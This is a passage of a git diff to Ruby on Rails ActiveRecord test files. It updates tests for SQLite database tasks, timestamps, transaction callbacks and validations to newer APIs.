+      Pathname.expects(:new).with(@database).returns(@path)
+
+      ActiveRecord::Tasks::DatabaseTasks.drop @configuration, '/rails/root'
+    end
+
+    def test_removes_file_with_absolute_path
+      File.stubs(:exist?).returns(true)
+      @path.stubs(:absolute?).returns(true)
+
+      FileUtils.expects(:rm).with('/absolute/path')
+
+      ActiveRecord::Tasks::DatabaseTasks.drop @configuration, '/rails/root'
+    end
+
+    def test_generates_absolute_path_with_given_root
+      @path.stubs(:absolute?).returns(false)
+
+      File.expects(:join).with('/rails/root', @path).
+        returns('/former/relative/path')
+
+      ActiveRecord::Tasks::DatabaseTasks.drop @configuration, '/rails/root'
+    end
+
+    def test_removes_file_with_relative_path
+      File.stubs(:exist?).returns(true)
+      @path.stubs(:absolute?).returns(false)
+
+      FileUtils.expects(:rm).with('/former/relative/path')
+
+      ActiveRecord::Tasks::DatabaseTasks.drop @configuration, '/rails/root'
+    end
+  end
+
+  class SqliteDBCharsetTest < ActiveRecord::TestCase
+    def setup
+      @database      = 'db_create.sqlite3'
+      @connection    = stub :connection
+      @configuration = {
+        'adapter'  => 'sqlite3',
+        'database' => @database
+      }
+
+      File.stubs(:exist?).returns(false)
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+    end
+
+    def test_db_retrieves_charset
+      @connection.expects(:encoding)
+      ActiveRecord::Tasks::DatabaseTasks.charset @configuration, '/rails/root'
+    end
+  end
+
+  class SqliteDBCollationTest < ActiveRecord::TestCase
+    def setup
+      @database      = 'db_create.sqlite3'
+      @connection    = stub :connection
+      @configuration = {
+        'adapter'  => 'sqlite3',
+        'database' => @database
+      }
+
+      File.stubs(:exist?).returns(false)
+      ActiveRecord::Base.stubs(:connection).returns(@connection)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+    end
+
+    def test_db_retrieves_collation
+      assert_raise NoMethodError do
+        ActiveRecord::Tasks::DatabaseTasks.collation @configuration, '/rails/root'
+      end
+    end
+  end
+
+  class SqliteStructureDumpTest < ActiveRecord::TestCase
+    def setup
+      @database      = "db_create.sqlite3"
+      @configuration = {
+        'adapter'  => 'sqlite3',
+        'database' => @database
+      }
+    end
+
+    def test_structure_dump
+      dbfile   = @database
+      filename = "awesome-file.sql"
+
+      ActiveRecord::Tasks::DatabaseTasks.structure_dump @configuration, filename, '/rails/root'
+      assert File.exists?(dbfile)
+      assert File.exists?(filename)
+    ensure
+      FileUtils.rm_f(filename)
+      FileUtils.rm_f(dbfile)
+    end
+  end
+
+  class SqliteStructureLoadTest < ActiveRecord::TestCase
+    def setup
+      @database      = "db_create.sqlite3"
+      @configuration = {
+        'adapter'  => 'sqlite3',
+        'database' => @database
+      }
+    end
+
+    def test_structure_load
+      dbfile   = @database
+      filename = "awesome-file.sql"
+
+      open(filename, 'w') { |f| f.puts("select datetime('now', 'localtime');") }
+      ActiveRecord::Tasks::DatabaseTasks.structure_load @configuration, filename, '/rails/root'
+      assert File.exists?(dbfile)
+    ensure
+      FileUtils.rm_f(filename)
+      FileUtils.rm_f(dbfile)
+    end
+  end
+end
diff --git a/activerecord/test/cases/test_case.rb b/activerecord/test/cases/test_case.rb
new file mode 100644
index 0000000000..f3f7054794
--- /dev/null
+++ b/activerecord/test/cases/test_case.rb
@@ -0,0 +1,9 @@
+ActiveSupport::Deprecation.silence do
+  require 'active_record/test_case'
+end
+
+ActiveRecord::TestCase.class_eval do
+  def sqlite3? connection
+    connection.class.name.split('::').last == "SQLite3Adapter"
+  end
+end
diff --git a/activerecord/test/cases/timestamp_test.rb b/activerecord/test/cases/timestamp_test.rb
index 447aa29ffe..bb034848e1 100644
--- a/activerecord/test/cases/timestamp_test.rb
+++ b/activerecord/test/cases/timestamp_test.rb
@@ -11,7 +11,7 @@ class TimestampTest < ActiveRecord::TestCase
 
   def setup
     @developer = Developer.first
-    @developer.update_attribute(:updated_at, Time.now.prev_month)
+    @developer.update_columns(updated_at: Time.now.prev_month)
     @previously_updated_at = @developer.updated_at
   end
 
@@ -114,9 +114,12 @@ class TimestampTest < ActiveRecord::TestCase
   end
 
   def test_saving_a_record_with_a_belongs_to_that_specifies_touching_a_specific_attribute_the_parent_should_update_that_attribute
-    Pet.belongs_to :owner, :touch => :happy_at
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; 'Pet'; end
+      belongs_to :owner, :touch => :happy_at
+    end
 
-    pet   = Pet.first
+    pet   = klass.first
     owner = pet.owner
     previously_owner_happy_at = owner.happy_at
 
@@ -124,42 +127,41 @@ class TimestampTest < ActiveRecord::TestCase
     pet.save
 
     assert_not_equal previously_owner_happy_at, pet.owner.happy_at
-  ensure
-    Pet.belongs_to :owner, :touch => true
   end
 
   def test_touching_a_record_with_a_belongs_to_that_uses_a_counter_cache_should_update_the_parent
-    Pet.belongs_to :owner, :counter_cache => :use_count, :touch => true
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; 'Pet'; end
+      belongs_to :owner, :counter_cache => :use_count, :touch => true
+    end
 
-    pet = Pet.first
+    pet = klass.first
     owner = pet.owner
-    owner.update_attribute(:happy_at, 3.days.ago)
+    owner.update_columns(happy_at: 3.days.ago)
     previously_owner_updated_at = owner.updated_at
 
     pet.name = "I'm a parrot"
     pet.save
 
     assert_not_equal previously_owner_updated_at, pet.owner.updated_at
-  ensure
-    Pet.belongs_to :owner, :touch => true
   end
 
   def test_touching_a_record_touches_parent_record_and_grandparent_record
-    Toy.belongs_to :pet, :touch => true
-    Pet.belongs_to :owner, :touch => true
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; 'Toy'; end
+      belongs_to :pet, :touch => true
+    end
 
-    toy = Toy.first
+    toy = klass.first
     pet = toy.pet
     owner = pet.owner
     time = 3.days.ago
 
-    owner.update_column(:updated_at, time)
+    owner.update_columns(updated_at: time)
     toy.touch
     owner.reload
 
     assert_not_equal time, owner.updated_at
-  ensure
-    Toy.belongs_to :pet
   end
 
   def test_timestamp_attributes_for_create
diff --git a/activerecord/test/cases/transaction_callbacks_test.rb b/activerecord/test/cases/transaction_callbacks_test.rb
index 85f222bca2..961ba8d9ba 100644
--- a/activerecord/test/cases/transaction_callbacks_test.rb
+++ b/activerecord/test/cases/transaction_callbacks_test.rb
@@ -6,7 +6,7 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
   fixtures :topics
 
   class TopicWithCallbacks < ActiveRecord::Base
-    set_table_name :topics
+    self.table_name = :topics
 
     after_commit{|record| record.send(:do_after_commit, nil)}
     after_commit(:on => :create){|record| record.send(:do_after_commit, :create)}
@@ -252,7 +252,7 @@ class TransactionObserverCallbacksTest < ActiveRecord::TestCase
   fixtures :topics
 
   class TopicWithObserverAttached < ActiveRecord::Base
-    set_table_name :topics
+    self.table_name = :topics
     def history
       @history ||= []
     end
@@ -287,6 +287,74 @@ class TransactionObserverCallbacksTest < ActiveRecord::TestCase
       raise ActiveRecord::Rollback
     end
 
+    assert topic.id.nil?
+    assert !topic.persisted?
     assert_equal %w{ after_rollback }, topic.history
   end
+
+  class TopicWithManualRollbackObserverAttached < ActiveRecord::Base
+    self.table_name = :topics
+    def history
+      @history ||= []
+    end
+  end
+
+  class TopicWithManualRollbackObserverAttachedObserver < ActiveRecord::Observer
+    def after_save(record)
+      record.history.push "after_save"
+      raise ActiveRecord::Rollback
+    end
+  end
+
+  def test_after_save_called_with_manual_rollback
+    assert TopicWithManualRollbackObserverAttachedObserver.instance, 'should have observer'
+
+    topic = TopicWithManualRollbackObserverAttached.new
+    
+    assert !topic.save
+    assert_equal nil, topic.id
+    assert !topic.persisted?
+    assert_equal %w{ after_save }, topic.history
+  end
+  def test_after_save_called_with_manual_rollback_bang
+    assert TopicWithManualRollbackObserverAttachedObserver.instance, 'should have observer'
+
+    topic = TopicWithManualRollbackObserverAttached.new
+    
+    topic.save!
+    assert_equal nil, topic.id
+    assert !topic.persisted?
+    assert_equal %w{ after_save }, topic.history
+  end
+end
+
+class SaveFromAfterCommitBlockTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  class TopicWithSaveInCallback < ActiveRecord::Base
+    self.table_name = :topics
+    after_commit :cache_topic, :on => :create
+    after_commit :call_update, :on => :update
+    attr_accessor :cached, :record_updated
+
+    def call_update
+      self.record_updated = true
+    end
+
+    def cache_topic
+      unless cached
+        self.cached = true
+        self.save
+      else
+        self.cached = false
+      end
+    end
+  end
+
+  def test_after_commit_in_save
+    topic = TopicWithSaveInCallback.new()
+    topic.save
+    assert_equal true, topic.cached
+    assert_equal true, topic.record_updated
+  end
 end
diff --git a/activerecord/test/cases/transactions_test.rb b/activerecord/test/cases/transactions_test.rb
index 110a18772f..0d0de455b3 100644
--- a/activerecord/test/cases/transactions_test.rb
+++ b/activerecord/test/cases/transactions_test.rb
@@ -91,18 +91,14 @@ class TransactionTest < ActiveRecord::TestCase
   end
 
   def test_raising_exception_in_callback_rollbacks_in_save
-    add_exception_raising_after_save_callback_to_topic
-
-    begin
-      @first.approved = true
-      @first.save
-      flunk
-    rescue => e
-      assert_equal "Make the transaction rollback", e.message
-      assert !Topic.find(1).approved?
-    ensure
-      remove_exception_raising_after_save_callback_to_topic
+    def @first.after_save_for_transaction
+      raise 'Make the transaction rollback'
     end
+
+    @first.approved = true
+    e = assert_raises(RuntimeError) { @first.save }
+    assert_equal "Make the transaction rollback", e.message
+    assert !Topic.find(1).approved?
   end
 
   def test_update_attributes_should_rollback_on_failure
@@ -125,85 +121,85 @@ class TransactionTest < ActiveRecord::TestCase
   end
 
   def test_cancellation_from_before_destroy_rollbacks_in_destroy
-    add_cancelling_before_destroy_with_db_side_effect_to_topic
-    begin
-      nbooks_before_destroy = Book.count
-      status = @first.destroy
-      assert !status
-      assert_nothing_raised(ActiveRecord::RecordNotFound) { @first.reload }
-      assert_equal nbooks_before_destroy, Book.count
-    ensure
-      remove_cancelling_before_destroy_with_db_side_effect_to_topic
-    end
+    add_cancelling_before_destroy_with_db_side_effect_to_topic @first
+    nbooks_before_destroy = Book.count
+    status = @first.destroy
+    assert !status
+    @first.reload
+    assert_equal nbooks_before_destroy, Book.count
   end
 
-  def test_cancellation_from_before_filters_rollbacks_in_save
-    %w(validation save).each do |filter|
-      send("add_cancelling_before_#{filter}_with_db_side_effect_to_topic")
-      begin
-        nbooks_before_save = Book.count
-        original_author_name = @first.author_name
-        @first.author_name += '_this_should_not_end_up_in_the_db'
-        status = @first.save
-        assert !status
-        assert_equal original_author_name, @first.reload.author_name
-        assert_equal nbooks_before_save, Book.count
-      ensure
-        send("remove_cancelling_before_#{filter}_with_db_side_effect_to_topic")
-      end
+  %w(validation save).each do |filter|
+    define_method("test_cancellation_from_before_filters_rollbacks_in_#{filter}") do
+      send("add_cancelling_before_#{filter}_with_db_side_effect_to_topic", @first)
+      nbooks_before_save = Book.count
+      original_author_name = @first.author_name
+      @first.author_name += '_this_should_not_end_up_in_the_db'
+      status = @first.save
+      assert !status
+      assert_equal original_author_name, @first.reload.author_name
+      assert_equal nbooks_before_save, Book.count
     end
-  end
 
-  def test_cancellation_from_before_filters_rollbacks_in_save!
-    %w(validation save).each do |filter|
-      send("add_cancelling_before_#{filter}_with_db_side_effect_to_topic")
+    define_method("test_cancellation_from_before_filters_rollbacks_in_#{filter}!") do
+      send("add_cancelling_before_#{filter}_with_db_side_effect_to_topic", @first)
+      nbooks_before_save = Book.count
+      original_author_name = @first.author_name
+      @first.author_name += '_this_should_not_end_up_in_the_db'
+
       begin
-        nbooks_before_save = Book.count
-        original_author_name = @first.author_name
-        @first.author_name += '_this_should_not_end_up_in_the_db'
         @first.save!
-        flunk
-      rescue
-        assert_equal original_author_name, @first.reload.author_name
-        assert_equal nbooks_before_save, Book.count
-      ensure
-        send("remove_cancelling_before_#{filter}_with_db_side_effect_to_topic")
+      rescue ActiveRecord::RecordInvalid, ActiveRecord::RecordNotSaved
       end
+
+      assert_equal original_author_name, @first.reload.author_name
+      assert_equal nbooks_before_save, Book.count
     end
   end
 
   def test_callback_rollback_in_create
-    new_topic = Topic.new(
-      :title => "A new topic",
-      :author_name => "Ben",
-      :author_email_address => "ben@example.com",
-      :written_on => "2003-07-16t15:28:11.2233+01:00",
-      :last_read => "2004-04-15",
-      :bonus_time => "2005-01-30t15:28:00.00+01:00",
-      :content => "Have a nice day",
-      :approved => false)
+    topic = Class.new(Topic) {
+      def after_create_for_transaction
+        raise 'Make the transaction rollback'
+      end
+    }
+
+    new_topic = topic.new(:title                => "A new topic",
+                          :author_name          => "Ben",
+                          :author_email_address => "ben@example.com",
+                          :written_on           => "2003-07-16t15:28:11.2233+01:00",
+                          :last_read            => "2004-04-15",
+                          :bonus_time           => "2005-01-30t15:28:00.00+01:00",
+                          :content              => "Have a nice day",
+                          :approved             => false)
+
     new_record_snapshot = !new_topic.persisted?
     id_present = new_topic.has_attribute?(Topic.primary_key)
     id_snapshot = new_topic.id
 
     # Make sure the second save gets the after_create callback called.
     2.times do
-      begin
-        add_exception_raising_after_create_callback_to_topic
-        new_topic.approved = true
-        new_topic.save
-        flunk
-      rescue => e
-        assert_equal "Make the transaction rollback", e.message
-        assert_equal new_record_snapshot, !new_topic.persisted?, "The topic should have its old persisted value"
-        assert_equal id_snapshot, new_topic.id, "The topic should have its old id"
-        assert_equal id_present, new_topic.has_attribute?(Topic.primary_key)
-      ensure
-        remove_exception_raising_after_create_callback_to_topic
-      end
+      new_topic.approved = true
+      e = assert_raises(RuntimeError) { new_topic.save }
+      assert_equal "Make the transaction rollback", e.message
+      assert_equal new_record_snapshot, !new_topic.persisted?, "The topic should have its old persisted value"
+      assert_equal id_snapshot, new_topic.id, "The topic should have its old id"
+      assert_equal id_present, new_topic.has_attribute?(Topic.primary_key)
     end
   end
 
+  def test_callback_rollback_in_create_with_record_invalid_exception
+    topic = Class.new(Topic) {
+      def after_create_for_transaction
+        raise ActiveRecord::RecordInvalid.new(Author.new)
+      end
+    }
+
+    new_topic = topic.create(:title => "A new topic")
+    assert !new_topic.persisted?, "The topic should not be persisted"
+    assert_nil new_topic.id, "The topic should not have an ID"
+  end
+
   def test_nested_explicit_transactions
     Topic.transaction do
       Topic.transaction do
@@ -362,6 +358,16 @@ class TransactionTest < ActiveRecord::TestCase
     end
   end
 
+  def test_rollback_when_saving_a_frozen_record
+    topic = Topic.new(:title => 'test')
+    topic.freeze
+    e = assert_raise(RuntimeError) { topic.save }
+    assert_equal "can't modify frozen Hash", e.message
+    assert !topic.persisted?, 'not persisted'
+    assert_nil topic.id
+    assert topic.frozen?, 'not frozen'
+  end
+
   def test_restore_active_record_state_for_all_records_in_a_transaction
     topic_1 = Topic.new(:title => 'test_1')
     topic_2 = Topic.new(:title => 'test_2')
@@ -451,62 +457,16 @@ class TransactionTest < ActiveRecord::TestCase
   end
 
   private
-    def define_callback_method(callback_method)
-      define_method(callback_method) do
-        self.history << [callback_method, :method]
-      end
-    end
-
-    def add_exception_raising_after_save_callback_to_topic
-      Topic.class_eval <<-eoruby, __FILE__, __LINE__ + 1
-        remove_method(:after_save_for_transaction)
-        def after_save_for_transaction
-          raise 'Make the transaction rollback'
-        end
-      eoruby
-    end
 
-    def remove_exception_raising_after_save_callback_to_topic
-      Topic.class_eval <<-eoruby, __FILE__, __LINE__ + 1
-        remove_method :after_save_for_transaction
-        def after_save_for_transaction; end
-      eoruby
-    end
-
-    def add_exception_raising_after_create_callback_to_topic
-      Topic.class_eval <<-eoruby, __FILE__, __LINE__ + 1
-        remove_method(:after_create_for_transaction)
-        def after_create_for_transaction
-          raise 'Make the transaction rollback'
-        end
-      eoruby
-    end
-
-    def remove_exception_raising_after_create_callback_to_topic
-      Topic.class_eval <<-eoruby, __FILE__, __LINE__ + 1
-        remove_method :after_create_for_transaction
-        def after_create_for_transaction; end
-      eoruby
-    end
-
-    %w(validation save destroy).each do |filter|
-      define_method("add_cancelling_before_#{filter}_with_db_side_effect_to_topic") do
-        Topic.class_eval <<-eoruby, __FILE__, __LINE__ + 1
-          remove_method :before_#{filter}_for_transaction
-          def before_#{filter}_for_transaction
-            Book.create
-            false
-          end
-        eoruby
-      end
-
-      define_method("remove_cancelling_before_#{filter}_with_db_side_effect_to_topic") do
-        Topic.class_eval <<-eoruby, __FILE__, __LINE__ + 1
-          remove_method :before_#{filter}_for_transaction
-          def before_#{filter}_for_transaction; end
-        eoruby
+  %w(validation save destroy).each do |filter|
+    define_method("add_cancelling_before_#{filter}_with_db_side_effect_to_topic") do |topic|
+      meta = class << topic; self; end
+      meta.send("define_method", "before_#{filter}_for_transaction") do
+        Book.create
+        false
       end
     end
+  end
 end
 
 class TransactionsWithTransactionalFixturesTest < ActiveRecord::TestCase
@@ -563,6 +523,7 @@ if current_adapter?(:PostgreSQLAdapter)
               topic.approved = !topic.approved?
               topic.save!
             end
+            Topic.connection.close
           end
         end
 
@@ -598,6 +559,7 @@ if current_adapter?(:PostgreSQLAdapter)
               dev = Developer.find(1)
               assert_equal original_salary, dev.salary
             end
+            Developer.connection.close
           end
         end
 
@@ -610,6 +572,7 @@ if current_adapter?(:PostgreSQLAdapter)
               assert_equal original_salary, Developer.find(1).salary
             end
           end
+          Developer.connection.close
         end
 
         threads.each { |t| t.join }
diff --git a/activerecord/test/cases/unconnected_test.rb b/activerecord/test/cases/unconnected_test.rb
index e82ca3f93d..5a69054445 100644
--- a/activerecord/test/cases/unconnected_test.rb
+++ b/activerecord/test/cases/unconnected_test.rb
@@ -7,13 +7,13 @@ class TestUnconnectedAdapter < ActiveRecord::TestCase
   self.use_transactional_fixtures = false
 
   def setup
-    @underlying = ActiveRecord::Base.connection
-    @specification = ActiveRecord::Base.remove_connection
+    @underlying = ActiveRecord::Model.connection
+    @specification = ActiveRecord::Model.remove_connection
   end
 
   def teardown
     @underlying = nil
-    ActiveRecord::Base.establish_connection(@specification)
+    ActiveRecord::Model.establish_connection(@specification)
     load_schema if in_memory_db?
   end
 
diff --git a/activerecord/test/cases/validations/association_validation_test.rb b/activerecord/test/cases/validations/association_validation_test.rb
index 56e345990f..7ac34bc71e 100644
--- a/activerecord/test/cases/validations/association_validation_test.rb
+++ b/activerecord/test/cases/validations/association_validation_test.rb
@@ -61,6 +61,16 @@ class AssociationValidationTest < ActiveRecord::TestCase
     assert r.valid?
   end
 
+  def test_validates_associated_marked_for_destruction
+    Topic.validates_associated(:replies)
+    Reply.validates_presence_of(:content)
+    t = Topic.new
+    t.replies << Reply.new
+    assert t.invalid?
+    t.replies.first.mark_for_destruction
+    assert t.valid?
+  end
+
   def test_validates_associated_with_custom_message_using_quotes
     Reply.validates_associated :topic, :message=> "This string contains 'single' and \"double\" quotes"
     Topic.validates_presence_of :content
@@ -76,19 +86,17 @@ class AssociationValidationTest < ActiveRecord::TestCase
     assert !r.valid?
     assert r.errors[:topic].any?
 
-    r.topic = Topic.find :first
+    r.topic = Topic.first
     assert r.valid?
   end
 
   def test_validates_size_of_association_utf8
-    with_kcode('UTF8') do
-      assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
-      o = Owner.new('name' => 'あいうえおかきくけこ')
-      assert !o.save
-      assert o.errors[:pets].any?
-      o.pets.build('name' => 'あいうえおかきくけこ')
-      assert o.valid?
-    end
+    assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
+    o = Owner.new('name' => 'あいうえおかきくけこ')
+    assert !o.save
+    assert o.errors[:pets].any?
+    o.pets.build('name' => 'あいうえおかきくけこ')
+    assert o.valid?
   end
 
   def test_validates_presence_of_belongs_to_association__parent_is_new_record
@@ -110,4 +118,21 @@ class AssociationValidationTest < ActiveRecord::TestCase
     end
   end
 
+  def test_validates_associated_models_in_the_same_context
+    Topic.validates_presence_of :title, :on => :custom_context
+    Topic.validates_associated :replies
+    Reply.validates_presence_of :title, :on => :custom_context
+
+    t = Topic.new('title' => '')
+    r = t.replies.new('title' => '')
+
+    assert t.valid?
+    assert !t.valid?(:custom_context)
+
+    t.title = "Longer"
+    assert !t.valid?(:custom_context), "Should NOT be valid if the associated object is not valid in the same context."
+
+    r.title = "Longer"
+    assert t.valid?(:custom_context), "Should be valid if the associated object is not valid in the same context."
+  end
 end
diff --git a/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb b/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
index 628029f8df..a8e513d81f 100644
--- a/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
+++ b/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
@@ -8,6 +8,16 @@ class I18nGenerateMessageValidationTest < ActiveRecord::TestCase
     I18n.backend = I18n::Backend::Simple.new
   end
 
+  def reset_i18n_load_path
+    @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
+    I18n.load_path.clear
+    I18n.backend = I18n::Backend::Simple.new
+    yield
+  ensure 
+    I18n.load_path.replace @old_load_path
+    I18n.backend = @old_backend
+  end
+
   # validates_associated: generate_message(attr_name, :invalid, :message => custom_message, :value => value)
   def test_generate_message_invalid_with_default_message
     assert_equal 'is invalid', @topic.errors.generate_message(:title, :invalid, :value => 'title')
@@ -35,4 +45,13 @@ class I18nGenerateMessageValidationTest < ActiveRecord::TestCase
     assert_equal "Validation failed: Title is invalid, Title can't be blank", ActiveRecord::RecordInvalid.new(topic).message
   end
 
+  test "RecordInvalid exception translation falls back to the :errors namespace" do
+    reset_i18n_load_path do
+      I18n.backend.store_translations 'en', :errors => {:messages => {:record_invalid => 'fallback message'}}
+      topic = Topic.new
+      topic.errors.add(:title, :blank)
+      assert_equal "fallback message", ActiveRecord::RecordInvalid.new(topic).message
+    end
+  end
+
 end
diff --git a/activerecord/test/cases/validations/presence_validation_test.rb b/activerecord/test/cases/validations/presence_validation_test.rb
new file mode 100644
index 0000000000..cd9175f454
--- /dev/null
+++ b/activerecord/test/cases/validations/presence_validation_test.rb
@@ -0,0 +1,44 @@
+# encoding: utf-8
+require "cases/helper"
+require 'models/man'
+require 'models/face'
+require 'models/interest'
+
+class PresenceValidationTest < ActiveRecord::TestCase
+  class Boy < Man; end
+
+  repair_validations(Boy)
+
+  def test_validates_presence_of_non_association
+    Boy.validates_presence_of(:name)
+    b = Boy.new
+    assert b.invalid?
+
+    b.name = "Alex"
+    assert b.valid?
+  end
+
+  def test_validates_presence_of_has_one_marked_for_destruction
+    Boy.validates_presence_of(:face)
+    b = Boy.new
+    f = Face.new
+    b.face = f
+    assert b.valid?
+
+    f.mark_for_destruction
+    assert b.invalid?
+  end
+
+  def test_validates_presence_of_has_many_marked_for_destruction
+    Boy.validates_presence_of(:interests)
+    b = Boy.new
+    b.interests << [i1 = Interest.new, i2 = Interest.new]
+    assert b.valid?
+
+    i1.mark_for_destruction
+    assert b.valid?
+
+    i2.mark_for_destruction
+    assert b.invalid?
+  end
+end
diff --git a/activerecord/test/cases/validations/uniqueness_validation_test.rb b/activerecord/test/cases/validations/uniqueness_validation_test.rb
index 0f1b3667cc..46212e49b6 100644
--- a/activerecord/test/cases/validations/uniqueness_validation_test.rb
+++ b/activerecord/test/cases/validations/uniqueness_validation_test.rb
@@ -22,6 +22,14 @@ end
 class Thaumaturgist < IneptWizard
 end
 
+class ReplyTitle; end
+
+class ReplyWithTitleObject < Reply
+  validates_uniqueness_of :content, :scope => :title
+
+  def title; ReplyTitle.new; end
+end
+
 class UniquenessValidationTest < ActiveRecord::TestCase
   fixtures :topics, 'warehouse-things', :developers
 
@@ -45,6 +53,18 @@ class UniquenessValidationTest < ActiveRecord::TestCase
     assert t2.save, "Should now save t2 as unique"
   end
 
+  def test_validates_uniqueness_with_nil_value
+    Topic.validates_uniqueness_of(:title)
+
+    t = Topic.new("title" => nil)
+    assert t.save, "Should save t as unique"
+
+    t2 = Topic.new("title" => nil)
+    assert !t2.valid?, "Shouldn't be valid"
+    assert !t2.save, "Shouldn't save t2 as unique"
+    assert_equal ["has already been taken"], t2.errors[:title]
+  end
+
   def test_validates_uniqueness_with_validates
     Topic.validates :title, :uniqueness => true
     Topic.create!('title' => 'abc')
@@ -80,6 +100,38 @@ class UniquenessValidationTest < ActiveRecord::TestCase
     assert r3.valid?, "Saving r3"
   end
 
+  def test_validate_uniqueness_with_object_scope
+    Reply.validates_uniqueness_of(:content, :scope => :topic)
+
+    t = Topic.create("title" => "I'm unique!")
+
+    r1 = t.replies.create "title" => "r1", "content" => "hello world"
+    assert r1.valid?, "Saving r1"
+
+    r2 = t.replies.create "title" => "r2", "content" => "hello world"
+    assert !r2.valid?, "Saving r2 first time"
+  end
+
+  def test_validate_uniqueness_with_composed_attribute_scope
+    r1 = ReplyWithTitleObject.create "title" => "r1", "content" => "hello world"
+    assert r1.valid?, "Saving r1"
+
+    r2 = ReplyWithTitleObject.create "title" => "r1", "content" => "hello world"
+    assert !r2.valid?, "Saving r2 first time"
+  end
+
+  def test_validate_uniqueness_with_object_arg
+    Reply.validates_uniqueness_of(:topic)
+
+    t = Topic.create("title" => "I'm unique!")
+
+    r1 = t.replies.create "title" => "r1", "content" => "hello world"
+    assert r1.valid?, "Saving r1"
+
+    r2 = t.replies.create "title" => "r2", "content" => "hello world"
+    assert !r2.valid?, "Saving r2 first time"
+  end
+
   def test_validate_uniqueness_scoped_to_defining_class
     t = Topic.create("title" => "What, me worry?")
 
@@ -149,16 +201,14 @@ class UniquenessValidationTest < ActiveRecord::TestCase
     assert t2.valid?, "should validate with nil"
     assert t2.save, "should save with nil"
 
-    with_kcode('UTF8') do
-      t_utf8 = Topic.new("title" => "Я тоже уникальный!")
-      assert t_utf8.save, "Should save t_utf8 as unique"
+    t_utf8 = Topic.new("title" => "Я тоже уникальный!")
+    assert t_utf8.save, "Should save t_utf8 as unique"
 
-      # If database hasn't UTF-8 character set, this test fails
-      if Topic.find(t_utf8, :select => 'LOWER(title) AS title').title == "я тоже уникальный!"
-        t2_utf8 = Topic.new("title" => "я тоже УНИКАЛЬНЫЙ!")
-        assert !t2_utf8.valid?, "Shouldn't be valid"
-        assert !t2_utf8.save, "Shouldn't save t2_utf8 as unique"
-      end
+    # If database hasn't UTF-8 character set, this test fails
+    if Topic.all.merge!(:select => 'LOWER(title) AS title').find(t_utf8).title == "я тоже уникальный!"
+      t2_utf8 = Topic.new("title" => "я тоже УНИКАЛЬНЫЙ!")
+      assert !t2_utf8.valid?, "Shouldn't be valid"
+      assert !t2_utf8.save, "Shouldn't save t2_utf8 as unique"
     end
   end
 
@@ -227,10 +277,10 @@ class UniquenessValidationTest < ActiveRecord::TestCase
     assert i1.errors[:value].any?, "Should not be empty"
   end
 
-  def test_validates_uniqueness_inside_with_scope
+  def test_validates_uniqueness_inside_scoping
     Topic.validates_uniqueness_of(:title)
 
-    Topic.send(:with_scope, :find => { :conditions => { :author_name => "David" } }) do
+    Topic.where(:author_name => "David").scoping do
       t1 = Topic.new("title" => "I'm unique!", "author_name" => "Mary")
       assert t1.save
       t2 = Topic.new("title" => "I'm unique!", "author_name" => "David")
@@ -256,13 +306,11 @@ class UniquenessValidationTest < ActiveRecord::TestCase
   end
 
   def test_validate_uniqueness_with_limit_and_utf8
-    with_kcode('UTF8') do
-      # Event.title is limited to 5 characters
-      e1 = Event.create(:title => "一二三四五")
-      assert e1.valid?, "Could not create an event with a unique, 5 character title"
-      e2 = Event.create(:title => "一二三四五六七八")
-      assert !e2.valid?, "Created an event whose title, with limit taken into account, is not unique"
-    end
+    # Event.title is limited to 5 characters
+    e1 = Event.create(:title => "一二三四五")
+    assert e1.valid?, "Could not create an event with a unique, 5 character title"
+    e2 = Event.create(:title => "一二三四五六七八")
+    assert !e2.valid?, "Created an event whose title, with limit taken into account, is not unique"
   end
 
   def test_validate_straight_inheritance_uniqueness
@@ -293,4 +341,16 @@ class UniquenessValidationTest < ActiveRecord::TestCase
     assert w6.errors[:city].any?, "Should have errors for city"
     assert_equal ["has already been taken"], w6.errors[:city], "Should have uniqueness message for city"
   end
+  
+  def test_validate_uniqueness_with_conditions
+    Topic.validates_uniqueness_of(:title, :conditions => Topic.where('approved = ?', true))
+    Topic.create("title" => "I'm a topic", "approved" => true)
+    Topic.create("title" => "I'm an unapproved topic", "approved" => false)
+    
+    t3 = Topic.new("title" => "I'm a topic", "approved" => true)
+    assert !t3.valid?, "t3 shouldn't be valid"
+    
+    t4 = Topic.new("title" => "I'm an unapproved topic", "approved" => false)
+    assert t4.valid?, "t4 should be valid"
+  end
 end
diff --git a/activerecord/test/cases/validations_test.rb b/activerecord/test/cases/validations_test.rb
index c3e494866b..b11b330374 100644
--- a/activerecord/test/cases/validations_test.rb
+++ b/activerecord/test/cases/validations_test.rb
@@ -8,7 +8,7 @@ require 'models/parrot'
 require 'models/company'
 
 class ProtectedPerson < ActiveRecord::Base
-  set_table_name 'people'
+  self.table_name = 'people'
   attr_accessor :addon
   attr_protected :first_name
 end
@@ -93,30 +93,6 @@ class ValidationsTest < ActiveRecord::TestCase
     end
   end
 
-  def test_scoped_create_without_attributes
-    WrongReply.send(:with_scope, :create => {}) do
-      assert_raise(ActiveRecord::RecordInvalid) { WrongReply.create! }
-    end
-  end
-
-  def test_create_with_exceptions_using_scope_for_protected_attributes
-    assert_nothing_raised do
-      ProtectedPerson.send(:with_scope,  :create => { :first_name => "Mary" } ) do
-        person = ProtectedPerson.create! :addon => "Addon"
-        assert_equal person.first_name, "Mary", "scope should ignore attr_protected"
-      end
-    end
-  end
-
-  def test_create_with_exceptions_using_scope_and_empty_attributes
-    assert_nothing_raised do
-      ProtectedPerson.send(:with_scope,  :create => { :first_name => "Mary" } ) do
-        person = ProtectedPerson.create!
-        assert_equal person.first_name, "Mary", "should be ok when no attributes are passed to create!"
-      end
-    end
-  end
-
   def test_create_without_validation
     reply = WrongReply.new
     assert !reply.save
diff --git a/activerecord/test/cases/xml_serialization_test.rb b/activerecord/test/cases/xml_serialization_test.rb
